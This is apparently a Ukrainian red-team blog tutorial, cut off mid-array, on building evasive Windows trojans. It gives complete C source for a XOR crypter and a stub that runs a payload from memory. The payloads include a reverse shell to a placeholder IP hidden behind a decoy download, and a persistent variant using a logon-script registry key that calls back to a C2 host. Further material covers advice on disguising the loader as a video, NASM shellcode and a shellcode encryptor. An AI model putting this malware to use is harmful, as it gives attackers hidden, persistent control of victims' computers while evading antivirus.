Ця стаття є логічним продовженням попередніх публікацій циклу Red Team – “Техніки маскування файлів: File Extension Spoofing” та “Основи роботи з Remote Access Trojan (RAT)”. В ній розглядаються деякі аспекти створення, шифрування і розгортання троянських додатків в Windows 10.
- Що таке криптор і як він працює? Створюємо самописний Trojan
- Шеллкод ін’єкція в PE-додаток. Створюємо дроппер.
- Крок 1. Генерація і шифрування шеллкоду
- Крок 2. Створення PE-додатку і ін’єкція шеллкоду
- Крок 3. Запуск на цільовому комп’ютері
- Атакуємо Windows через троян (loader) на С++
- DLL Sideloading
- Джерела та посилання
Що таке криптор і як він працює? Створюємо самописний Trojan
Криптор, криптер або криптувальник (від англ. сryptor) – це додаток, який включає набір технологій для шифрування і обфускації бінарних (виконуваних) файлів, ускладнюючи прочитання їх вмісту та антивірусний детект у середовищі ОС Windows. Тобто, це захист від розпізнавання. Також, дуже часто використовуються і легітимними розробниками для захисту авторських прав.
Будь-який криптувальник складається з таких компонентів як билдер (builder) та стаб (stub).
Билдер (Builder) – це головна частина криптувальника, яка виконує наступні функції:
- Зчитує оригінальний PE-файл.
- Шифрує вміст (зазвичай весь PE або його секції) обраним алгоритмом (XOR, AES, RC4 або іншим).
- Генерує ключ — може бути статичним або випадковим для кожної збірки.
- Вбудовує зашифрований payload у стаб (як ресурс, оверлей або в окрему секцію).
- Формує фінальний PE-файл.
Stub – це зашифрований контейнер, який автоматично розшифровує шкідливе навантаження (декриптор), завантажуючи у пам’ять та передаючи на виконання. Він відповідає за:
- Отримання ключа шифрування.
- Знаходження зашифрованого payload.
- Розшифрування в памʼяті.
- Завантаження та передача керування (лоадер).
У своїй роботі криптор може застосовувати різні антидетект-технології і обфускацію, наприклад:
- Поліморфізм (Polymorphism) — зміна вихідного коду при кожному запуску, поширенні або генерації.
- Антивідлагодження (AntiDebugging) — захист від налагодження.
- Антитамперінг (AntiTampering) — захист від модифікації.
- Антипісочниця (Sandbox Bypass/AntiSandbox) — захист від виявлення та аналізу в середовищі віртуальних машин.
- Затримка виконання (Sleeping) — затримка перед розшифруванням.
Давайте для прикладу створимо простенький криптувальник на C, який зашифрує та розшифрує корисне навантаження. У висновку отримаємо лоадер у вигляді EXE-файлу.
Дерево проєкту:
cryptor.c | Builder — читає PE, шифрує XOR. |
stub.c | Stub — дешифрує payload, здійснює Manual PE Mapping в пам’ять. |
payload.c | PE-додаток з корисним навантаженням (payload). |
build.bat | Скрипт збірки. |
compilator.bat | Компілятор збірки. |
Вихідний код cryptor.c:
/*
* PE Crypter - Builder
* ====================
*
* Читає вхідний PE-файл, шифрує його XOR та генерує
* C-заголовок (payload.h) з масивом зашифрованих байтів.
*
* Збірка (MSVC / Developer Command Prompt):
* cl /W4 /Fe:cryptor.exe crypter.c
*
* Використання:
* cryptor.exe <input.exe> [output.h] [xor_key]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <time.h>
#define DEFAULT_KEY 0x5A
#define MAX_PE_SIZE (100 * 1024 * 1024) /* 100 MB ліміт */
/* Читає файл повністю в буфер. Повертає розмір або 0 при помилці. */
static DWORD read_file(const char *path, unsigned char **out_buf)
{
FILE *f = fopen(path, "rb");
if (!f) {
fprintf(stderr, "[-] Cant open: %s\n", path);
return 0;
}
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
if (size <= 0 || (DWORD)size > MAX_PE_SIZE) {
fprintf(stderr, "[-] Incorrect file size: %ld\n", size);
fclose(f);
return 0;
}
*out_buf = (unsigned char *)malloc((size_t)size);
if (!*out_buf) {
fprintf(stderr, "[-] malloc failed\n");
fclose(f);
return 0;
}
fread(*out_buf, 1, (size_t)size, f);
fclose(f);
return (DWORD)size;
}
/* Перевіряє базову валідність PE */
static BOOL validate_pe(const unsigned char *buf, DWORD size)
{
if (size < sizeof(IMAGE_DOS_HEADER)) return FALSE;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)buf;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
fprintf(stderr, "[-] Incorrect MZ-signature\n");
return FALSE;
}
if ((DWORD)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > size) {
fprintf(stderr, "[-] Incorrect e_lfanew\n");
return FALSE;
}
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(buf + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
fprintf(stderr, "[-] Incorrect PE-signature\n");
return FALSE;
}
printf("[*] PE Info:\n");
printf(" Machine: 0x%04X (%s)\n",
nt->FileHeader.Machine,
nt->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 ? "x86" :
nt->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 ? "x64" : "other");
printf(" Sections: %d\n", nt->FileHeader.NumberOfSections);
printf(" EntryPoint: 0x%08X\n", nt->OptionalHeader.AddressOfEntryPoint);
printf(" ImageBase: 0x%p\n", (void *)(DWORD_PTR)nt->OptionalHeader.ImageBase);
printf(" Size: %lu bytes\n", (unsigned long)size);
return TRUE;
}
/* XOR-шифрування буфера */
static void xor_encrypt(unsigned char *buf, DWORD size, unsigned char key)
{
for (DWORD i = 0; i < size; i++) {
buf[i] ^= key;
}
}
/* Записує зашифрований payload як C-заголовок */
static BOOL write_header(const char *path, const unsigned char *buf,
DWORD size, unsigned char key)
{
FILE *f = fopen(path, "w");
if (!f) {
fprintf(stderr, "[-] Cannot create: %s\n", path);
return FALSE;
}
fprintf(f, "/*\n");
fprintf(f, " * Encrypted PE Payload\n");
fprintf(f, " * Generated by PE Cryptor (Red Team 3.0 demo)\n");
fprintf(f, " * XOR Key: 0x%02X\n", key);
fprintf(f, " * Original size: %lu bytes\n", (unsigned long)size);
fprintf(f, " */\n");
fprintf(f, "#pragma once\n\n");
fprintf(f, "#define PAYLOAD_XOR_KEY 0x%02X\n\n", key);
fprintf(f, "static const unsigned int payload_size = %lu;\n\n", (unsigned long)size);
fprintf(f, "static const unsigned char payload_data[] = {\n");
for (DWORD i = 0; i < size; i++) {
if (i % 16 == 0) fprintf(f, " ");
fprintf(f, "0x%02X", buf[i]);
if (i < size - 1) fprintf(f, ",");
if (i % 16 == 15 || i == size - 1) fprintf(f, "\n");
}
fprintf(f, "};\n");
fclose(f);
return TRUE;
}
int main(int argc, char *argv[])
{
printf("=== PE Cryptor Builder ===\n");
printf(" Red Team 3.0 - Educational Demo\n\n");
if (argc < 2) {
printf("Usage: %s <input.exe> [output.h] [xor_key_hex]\n", argv[0]);
printf("\nExamples:\n");
printf(" %s calc.exe\n", argv[0]);
printf(" %s target.exe payload.h\n", argv[0]);
printf(" %s target.exe payload.h 0xAB\n", argv[0]);
return 1;
}
const char *input_path = argv[1];
const char *output_path = (argc >= 3) ? argv[2] : "payload.h";
unsigned char xor_key = DEFAULT_KEY;
if (argc >= 4) {
xor_key = (unsigned char)strtoul(argv[3], NULL, 16);
}
/* 1. Читаємо PE */
unsigned char *pe_buf = NULL;
DWORD pe_size = read_file(input_path, &pe_buf);
if (pe_size == 0) return 1;
/* 2. Валідація PE */
if (!validate_pe(pe_buf, pe_size)) {
free(pe_buf);
return 1;
}
/* 3. Шифруємо */
printf("\n[+] Encryption XOR (key=0x%02X)...\n", xor_key);
xor_encrypt(pe_buf, pe_size, xor_key);
/* 4. Записуємо заголовок */
if (!write_header(output_path, pe_buf, pe_size, xor_key)) {
free(pe_buf);
return 1;
}
printf("[+] Payload saved: %s\n", output_path);
printf("[+] Size: %lu bytes\n", (unsigned long)pe_size);
printf("[+] XOR Key: 0x%02X\n", xor_key);
printf("\n[*] Next:\n");
printf(" 1. Copy %s to project Stub\n", output_path);
printf(" 2. Compile stub.exe\n");
printf(" 3. stub.exe contain encrypted PE and run him from memory\n");
free(pe_buf);
return 0;
} Вихідний код stub.c:
/*
* PE Crypter - Stub (Loader) - Silent Mode
* ==========================================
*
* Дешифрує вбудований PE-payload та завантажує його
* в пам'ять поточного процесу (Manual PE Mapping).
* Працює без видимого вікна консолі.
*
* Збірка (MSVC / Developer Command Prompt):
* cl /W4 /Fe:stub.exe stub.c /link /SUBSYSTEM:WINDOWS
*
* УВАГА: Перед збіркою stub має існувати payload.h,
* згенерований cryptor.exe
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "user32.lib")
#include "payload.h" /* згенерований cryptor.exe */
/* ============================================================
* Утиліти
* ============================================================ */
static void xor_decrypt(unsigned char *buf, DWORD size, unsigned char key)
{
for (DWORD i = 0; i < size; i++) {
buf[i] ^= key;
}
}
static DWORD section_characteristics_to_protect(DWORD chars)
{
BOOL exec = (chars & IMAGE_SCN_MEM_EXECUTE) != 0;
BOOL read = (chars & IMAGE_SCN_MEM_READ) != 0;
BOOL write = (chars & IMAGE_SCN_MEM_WRITE) != 0;
if (exec && read && write) return PAGE_EXECUTE_READWRITE;
if (exec && read) return PAGE_EXECUTE_READ;
if (exec && write) return PAGE_EXECUTE_WRITECOPY;
if (exec) return PAGE_EXECUTE;
if (read && write) return PAGE_READWRITE;
if (read) return PAGE_READONLY;
if (write) return PAGE_WRITECOPY;
return PAGE_NOACCESS;
}
/* ============================================================
* Manual PE Mapper
* ============================================================ */
static BOOL map_pe_to_memory(unsigned char *raw_pe, DWORD raw_size)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)raw_pe;
if (dos->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
if ((DWORD)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > raw_size)
return FALSE;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(raw_pe + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
#ifdef _WIN64
if (nt->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
return FALSE;
#else
if (nt->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
return FALSE;
#endif
DWORD image_size = nt->OptionalHeader.SizeOfImage;
DWORD_PTR preferred_base = nt->OptionalHeader.ImageBase;
/* Виділення пам'яті */
LPVOID base = VirtualAlloc(
(LPVOID)preferred_base, image_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
if (!base) {
base = VirtualAlloc(
NULL, image_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
}
if (!base) return FALSE;
/* Заголовки */
memcpy(base, raw_pe, nt->OptionalHeader.SizeOfHeaders);
/* Секції */
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER sec = §ions[i];
if (sec->SizeOfRawData > 0) {
if (sec->PointerToRawData + sec->SizeOfRawData > raw_size)
continue;
memcpy(
(BYTE *)base + sec->VirtualAddress,
raw_pe + sec->PointerToRawData,
sec->SizeOfRawData
);
}
}
/* Релокації */
DWORD_PTR delta = (DWORD_PTR)base - preferred_base;
if (delta != 0) {
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (reloc_rva == 0 || reloc_size == 0) {
VirtualFree(base, 0, MEM_RELEASE);
return FALSE;
}
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)base + reloc_rva);
DWORD processed = 0;
while (processed < reloc_size && reloc->SizeOfBlock > 0) {
DWORD entry_count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries = (WORD *)(reloc + 1);
for (DWORD j = 0; j < entry_count; j++) {
WORD type = entries[j] >> 12;
WORD offset = entries[j] & 0x0FFF;
BYTE *patch_addr = (BYTE *)base + reloc->VirtualAddress + offset;
switch (type) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGHLOW:
*(DWORD *)patch_addr += (DWORD)delta;
break;
#ifdef _WIN64
case IMAGE_REL_BASED_DIR64:
*(DWORD_PTR *)patch_addr += delta;
break;
#endif
}
}
processed += reloc->SizeOfBlock;
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
}
}
/* Імпорти */
DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (import_rva != 0) {
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)base + import_rva);
while (imp->Name != 0) {
const char *dll_name = (const char *)((BYTE *)base + imp->Name);
HMODULE hmod = LoadLibraryA(dll_name);
if (!hmod) { imp++; continue; }
PIMAGE_THUNK_DATA orig_thunk;
if (imp->OriginalFirstThunk)
orig_thunk = (PIMAGE_THUNK_DATA)((BYTE *)base + imp->OriginalFirstThunk);
else
orig_thunk = (PIMAGE_THUNK_DATA)((BYTE *)base + imp->FirstThunk);
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE *)base + imp->FirstThunk);
while (orig_thunk->u1.AddressOfData != 0) {
FARPROC func = NULL;
if (IMAGE_SNAP_BY_ORDINAL(orig_thunk->u1.Ordinal)) {
func = GetProcAddress(hmod,
MAKEINTRESOURCEA(IMAGE_ORDINAL(orig_thunk->u1.Ordinal)));
} else {
PIMAGE_IMPORT_BY_NAME import_name =
(PIMAGE_IMPORT_BY_NAME)((BYTE *)base + orig_thunk->u1.AddressOfData);
func = GetProcAddress(hmod, import_name->Name);
}
thunk->u1.Function = (DWORD_PTR)func;
orig_thunk++;
thunk++;
}
imp++;
}
}
/* Права доступу секцій */
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER sec = §ions[i];
DWORD protect = section_characteristics_to_protect(sec->Characteristics);
DWORD old_protect;
DWORD sec_size = sec->Misc.VirtualSize;
if (sec_size == 0) sec_size = sec->SizeOfRawData;
if (sec_size == 0) continue;
VirtualProtect(
(BYTE *)base + sec->VirtualAddress,
sec_size, protect, &old_protect
);
}
{
DWORD old_protect;
VirtualProtect(base, nt->OptionalHeader.SizeOfHeaders,
PAGE_READONLY, &old_protect);
}
/* TLS Callbacks */
DWORD tls_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
if (tls_rva != 0) {
PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)((BYTE *)base + tls_rva);
PIMAGE_TLS_CALLBACK *callbacks = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;
if (callbacks) {
while (*callbacks) {
(*callbacks)((PVOID)base, DLL_PROCESS_ATTACH, NULL);
callbacks++;
}
}
}
/* Entry Point */
FlushInstructionCache(GetCurrentProcess(), base, image_size);
if (nt->FileHeader.Characteristics & IMAGE_FILE_DLL) {
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
DllMain_t dll_main = (DllMain_t)((DWORD_PTR)base + nt->OptionalHeader.AddressOfEntryPoint);
dll_main((HINSTANCE)base, DLL_PROCESS_ATTACH, NULL);
} else {
typedef int (*ExeMain_t)(void);
ExeMain_t exe_main = (ExeMain_t)((DWORD_PTR)base + nt->OptionalHeader.AddressOfEntryPoint);
exe_main();
}
return TRUE;
}
/* ============================================================
* WinMain - точка входу (без консолі)
* ============================================================ */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
(void)hInstance;
(void)hPrevInstance;
(void)lpCmdLine;
(void)nCmdShow;
/* Копіюємо payload */
unsigned char *pe_data = (unsigned char *)malloc(payload_size);
if (!pe_data) return 1;
memcpy(pe_data, payload_data, payload_size);
/* Дешифруємо */
xor_decrypt(pe_data, payload_size, PAYLOAD_XOR_KEY);
/* Перевірка MZ */
if (pe_data[0] != 'M' || pe_data[1] != 'Z') {
free(pe_data);
return 1;
}
/* Завантажуємо і виконуємо */
map_pe_to_memory(pe_data, payload_size);
free(pe_data);
return 0;
} Вихідний код payload.c:
/*
* Тестовий PE-файл для перевірки криптера
* Завантажує PuTTY і запускає його.
*
* cl /nologo /Fe:payload.exe payload.c
*/
#include <windows.h>
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "shell32.lib")
int main(void)
{
char path[MAX_PATH];
GetTempPathA(MAX_PATH, path);
lstrcatA(path, "putty.exe");
URLDownloadToFileA(NULL,
"https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe",
path, 0, NULL);
ShellExecuteA(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);
return 0;
} Вихідний код build.bat:
@echo off
REM ============================================================
REM PE Cryptor - Build Script
REM Red Team 3.0 - Educational Demo
REM
REM Запускати з Developer Command Prompt for VS
REM (або x64 Native Tools Command Prompt для 64-бітної збірки)
REM ============================================================
echo === PE Cryptor Build ===
echo.
REM --- Крок 1: Збірка Builder ---
echo [1/2] Building cryptor.exe (Builder)...
cl /nologo /W4 /O2 /Fe:cryptor.exe cryptor.c
if %errorlevel% neq 0 (
echo [-] Build failed for cryptor.exe
goto :error
)
echo [+] cryptor.exe built successfully
echo.
REM --- Крок 2: Перевірка payload.h ---
if not exist payload.h (
echo [!] payload.h not found.
echo [!] Run cryptor.exe first to generate it:
echo.
echo cryptor.exe target.exe payload.h
echo.
echo [!] Then run this script again to build stub.exe
goto :done
)
REM --- Крок 3: Збірка Stub ---
echo [2/2] Building stub.exe (Stub/Loader)...
cl /nologo /W4 /O2 /D_CRT_SECURE_NO_WARNINGS /Fe:stub.exe stub.c /link /SUBSYSTEM:WINDOWS
if %errorlevel% neq 0 (
echo [-] Build failed for stub.exe
goto :error
)
echo [+] stub.exe built successfully
echo.
echo === Build Complete ===
echo.
echo Files:
echo cryptor.exe - Builder (encrypts PE, generates payload.h)
echo stub.exe - Stub (decrypts and loads PE from memory)
echo.
goto :done
:error
echo.
echo === Build Failed ===
exit /b 1
:done
echo Done.
Вихідний код compilator.bat:
@echo off
REM ============================================================
REM PE Cryptor - Workflow
REM Повний цикл: збірка -> шифрування -> запуск
REM
REM Використання:
REM compilator.bat <target.exe>
REM
REM Приклад:
REM compilator.bat payload.exe
REM ============================================================
if "%~1"=="" (
echo Usage: %~nx0 ^<target.exe^>
echo.
echo Example: %~nx0 payload.exe
exit /b 1
)
set TARGET=%~1
echo ============================================================
echo PE Cryptor - Full Workflow
echo Target: %TARGET%
echo ============================================================
echo.
REM --- Крок 1: Збірка Builder ---
echo === Step 1: Building cryptor.exe ===
cl /nologo /W4 /O2 /Fe:cryptor.exe cryptor.c
if %errorlevel% neq 0 goto :error
echo.
REM --- Крок 2: Шифрування target ---
echo === Step 2: Encrypting %TARGET% ===
cryptor.exe "%TARGET%" payload.h
if %errorlevel% neq 0 goto :error
echo.
REM --- Крок 3: Збірка Stub з payload ---
echo === Step 3: Building stub.exe with embedded payload ===
cl /nologo /W4 /O2 /D_CRT_SECURE_NO_WARNINGS /Fe:stub.exe stub.c /link /SUBSYSTEM:WINDOWS
if %errorlevel% neq 0 goto :error
echo.
REM --- Крок 4: Інформація ---
echo ============================================================
echo Done! Files created:
echo.
echo cryptor.exe - Builder tool
echo payload.h - Encrypted payload (C header)
echo stub.exe - Final executable with encrypted %TARGET%
echo.
echo To test: run stub.exe
echo It will decrypt and execute %TARGET% from memory
echo ============================================================
echo.
REM --- Опціонально: порівняння розмірів ---
echo File sizes:
echo Original:
for %%A in ("%TARGET%") do echo %TARGET%: %%~zA bytes
echo Encrypted stub:
for %%A in (stub.exe) do echo stub.exe: %%~zA bytes
echo.
goto :done
:error
echo.
echo [-] Error occurred. Check output above.
exit /b 1
:done
echo Demo complete.
Отже, запускаємо Developer Command Prompt (є частиною Microsoft Visual Studio 2019), переходимо в папку з проєктом й розпочинаємо процес компіляції:
cl /Fe:payload.exe payload.c– компілюємо PE-додаток (корисне навантаження);compilator.bat payload.exe– компілюємо і криптуємо корисне навантаження;
В результаті отримуємо stub.exe – лоадер, який виконає корисне навантаження на цільовій системі. У даному випадку – в фоновому режимі завантажить файл-приманку putty.exe і запустить його.
Корисне навантаження payload.c можна урізноманітнити як завгодно, зробиши з нього по-суті “самописний RAT”, який не буде детектетись системою безпеки Windows. Наприклад окрім завантаження “приманки”, додати реверс-шел. Сам stub.exe замаскувати під відеофайл.
Приклад вдосконаленого пейлоаду payload.c:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "shell32.lib")
// Функція для зворотного шелу
void ReverseShell() {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2,2), &wsaData);
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
server.sin_family = AF_INET;
server.sin_port = htons(XXXXX); // ваш порт
server.sin_addr.s_addr = inet_addr("X.X.X.X"); // ваш IP
WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL);
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
// Запускаємо cmd.exe без створення вікна
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sock);
WSACleanup();
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
// Запускаємо шелл у потоці, щоб приманка завантажувалась паралельно
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShell, NULL, 0, NULL);
char path[MAX_PATH];
GetTempPathA(MAX_PATH, path);
lstrcatA(path, "IMG_20260306_182535.mp4");
URLDownloadToFileA(NULL,
"https://openings-chevy-custom-planets.trycloudflare.com/IMG_20260306_182535.mp4",
path, 0, NULL);
ShellExecuteA(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);
return 0;
} Приклад persistence-пейлоаду payload.c з самозакріпленням і повторним з’єднанням (при обривах):
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "advapi32.lib")
// ---------- Персистентність через LogonScript (без копіювання, без Run) ----------
void Persist() {
char exePath[MAX_PATH];
HKEY hKey;
// Отримуємо шлях до себе (напр. %USERPROFILE%\stubiks.exe)
GetModuleFileNameA(NULL, exePath, MAX_PATH);
// HKCU\Environment — працює без адміна
if (RegOpenKeyExA(HKEY_CURRENT_USER,
"Environment",
0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
// UserInitMprLogonScript — виконується при кожному логіні
RegSetValueExA(hKey,
"UserInitMprLogonScript",
0, REG_EXPAND_SZ,
(BYTE*)exePath,
strlen(exePath) + 1);
RegCloseKey(hKey);
}
// НІЯКОГО CopyFile, НІЯКОГО reg add
}
// ---------- Реверс-шелл (без змін) ----------
void ReverseShellLoop() {
while (1) {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO si;
PROCESS_INFORMATION pi;
if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) {
Sleep(5000);
continue;
}
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET) {
WSACleanup();
Sleep(5000);
continue;
}
server.sin_family = AF_INET;
server.sin_port = htons(55231);
server.sin_addr.s_addr = inet_addr("X.X.X.X");
if (WSAConnect(sock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
Sleep(10000);
continue;
}
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sock);
WSACleanup();
Sleep(5000);
}
}
// ---------- Головна функція ----------
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
ShowWindow(GetConsoleWindow(), SW_HIDE);
// Тільки LogonScript — без копіювання, без Run
Persist();
// Шелл у потоці
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShellLoop, NULL, 0, NULL);
// Легітимний decoy-файл
char path[MAX_PATH];
GetTempPathA(MAX_PATH, path);
lstrcatA(path, "windows_log.txt");
URLDownloadToFileA(NULL,
"http://c2.x.x.x:xxxx/log.txt",
path, 0, NULL);
SetFileAttributesA(path, FILE_ATTRIBUTE_HIDDEN);
Sleep(INFINITE);
return 0;
}
Компіляція:
cl /Fe:payload.exe payload.c /link /SUBSYSTEM:WINDOWScompilator.bat payload.exe
Результат на відео – обхід UAC і Defender на Windows 10:
Шеллкод ін’єкція в PE-додаток. Створюємо дроппер.
Шеллкод (Shellcode) – це фрагмент машинного коду, який може використовуватися як корисне навантаження у процесі експлуатації програмного забезпечення.
PE-додаток (Portable Execution) – це стандартний формат виконуваних бінарних файлів (EXE, DLL) у середовищі Windows.
Дроппер (dropper, від англ. to drop – скидати) – тип шкідливого додатку, який служить для обходу авнтивірусних систем та доставки корисного навантаження (payload) у цільову систему.
Cценарій атаки:
- Генеруємо шеллкод:
- Варіант А: Скористатись Metasploit Msfvenom
- Варіант Б: Скористатись NASM
- Шифруємо шеллкод
- Створюємо в VS Studio свій PE-додаток (exe-файл, дроппер для доставки шкідливого навантаження)
- Інжектуємо згенерований шеллкод у цей файл
- Тестуємо EXE-файл у середовищі Windows 10 з активним Defender.
Крок 1. Генерація і шифрування шеллкоду
Для генерації оберу асемблер NASM – він простіший і ефективніший. Тому що сигнатури Metasploit моментально розпізнаються агресивним Windows Defender.
Згенеруємо якесь цікаве і нешкідливе корисне навантаження, використавши функцію WinExec. Наприклад завантаження файлу з допомогою CMD і Curl (доступний в Windows 10).
Ось повний шеллкод (файл shellcode.asm):
bits 64
section .text
global _start
_start:
sub rsp, 40
; ---- PEB → kernel32.dll base ----
xor rcx, rcx
mov rax, [gs:0x60]
mov rax, [rax + 0x18]
mov rax, [rax + 0x20]
mov rax, [rax]
mov rax, [rax]
mov rbx, [rax + 0x20]
; ---- Export Table → GetProcAddress ----
mov eax, [rbx + 0x3C]
add rax, rbx
mov eax, [rax + 0x88]
add rax, rbx
mov r8, rax
mov ecx, [r8 + 0x18]
mov edx, [r8 + 0x20]
add rdx, rbx
.find_gpa:
dec ecx
mov eax, [rdx + rcx*4]
add rax, rbx
cmp dword [rax], 0x50746547 ; "GetP"
jnz .find_gpa
cmp dword [rax+4], 0x41636F72 ; "rocA"
jnz .find_gpa
mov edx, [r8 + 0x24]
add rdx, rbx
movzx ecx, word [rdx + rcx*2]
mov edx, [r8 + 0x1C]
add rdx, rbx
mov eax, [rdx + rcx*4]
add rax, rbx
mov r14, rax ; r14 = GetProcAddress
; ---- WinExec ----
lea rdx, [rel .s_winexec]
mov rcx, rbx
call r14
mov r13, rax ; r13 = WinExec
; ---- WinExec("cmd /c start https://...", SW_HIDE) ----
xor edx, edx ; SW_HIDE = 0 (CMD-вікно сховане)
lea rcx, [rel .s_cmd]
call r13
; ---- ExitProcess(0) ----
lea rdx, [rel .s_exit]
mov rcx, rbx
call r14
xor ecx, ecx
call rax
; ---- Рядки ----
.s_winexec: db "WinExec", 0
.s_exit: db "ExitProcess", 0
.s_cmd: db "cmd /c curl -o C:\Users\Public\7z.exe https://www.7-zip.org/a/7zr.exe", 0 Компілюємо його у бінарний файл командою Linux:
nasm -f bin shellcode.asm -o shellcode.bin
Далі шифруємо вміст shellcode.bin з допомогою елементарного Python-шифрувальника на XOR (створюємо файл xor_encrypt.py):
KEY = 0x4D
with open("shellcode.bin", "rb") as f:
shellcode = bytearray(f.read())
encrypted = bytearray([b ^ KEY for b in shellcode])
print(f"// XOR key: 0x{KEY:02X}")
print(f"// Size: {len(encrypted)} bytes")
print("unsigned char enc_shellcode[] = {")
line = " "
for i, b in enumerate(encrypted):
line += f"0x{b:02X}"
if i < len(encrypted) - 1:
line += ", "
if (i + 1) % 12 == 0:
print(line)
line = " "
if line.strip():
print(line)
print("};")
Тепер виконуємо безпосередньо шифрування командою: python xor_encrypt.py
На виході отримуємо вміст зашифрованого в XOR шеллкоду:
Крок 2. Створення PE-додатку і ін’єкція шеллкоду
На цьому етапі скористаємося стандартними засобами Microsoft Visual Studio 2019.
Запускаємо, створюємо новий проєкт типу Console App C++, задаємо йому ім’я, наприклад cryptor.cpp і вставляємо в нього наступний код:
#include <windows.h>
#include <stdio.h>
#include <string.h>
#define XOR_KEY 0x4D
// Зашифрований шеллкод (вивід xor_encrypt.py)
unsigned char enc_shellcode[] = {
0x05, 0xCE, 0xA1, 0x65, 0x05, 0x7C, 0x84, 0x28, 0x05, 0xC6, 0x49, 0x68,
0x2D, 0x4D, 0x4D, 0x4D, 0x05, 0xC6, 0x0D, 0x55, 0x05, 0xC6, 0x0D, 0x6D,
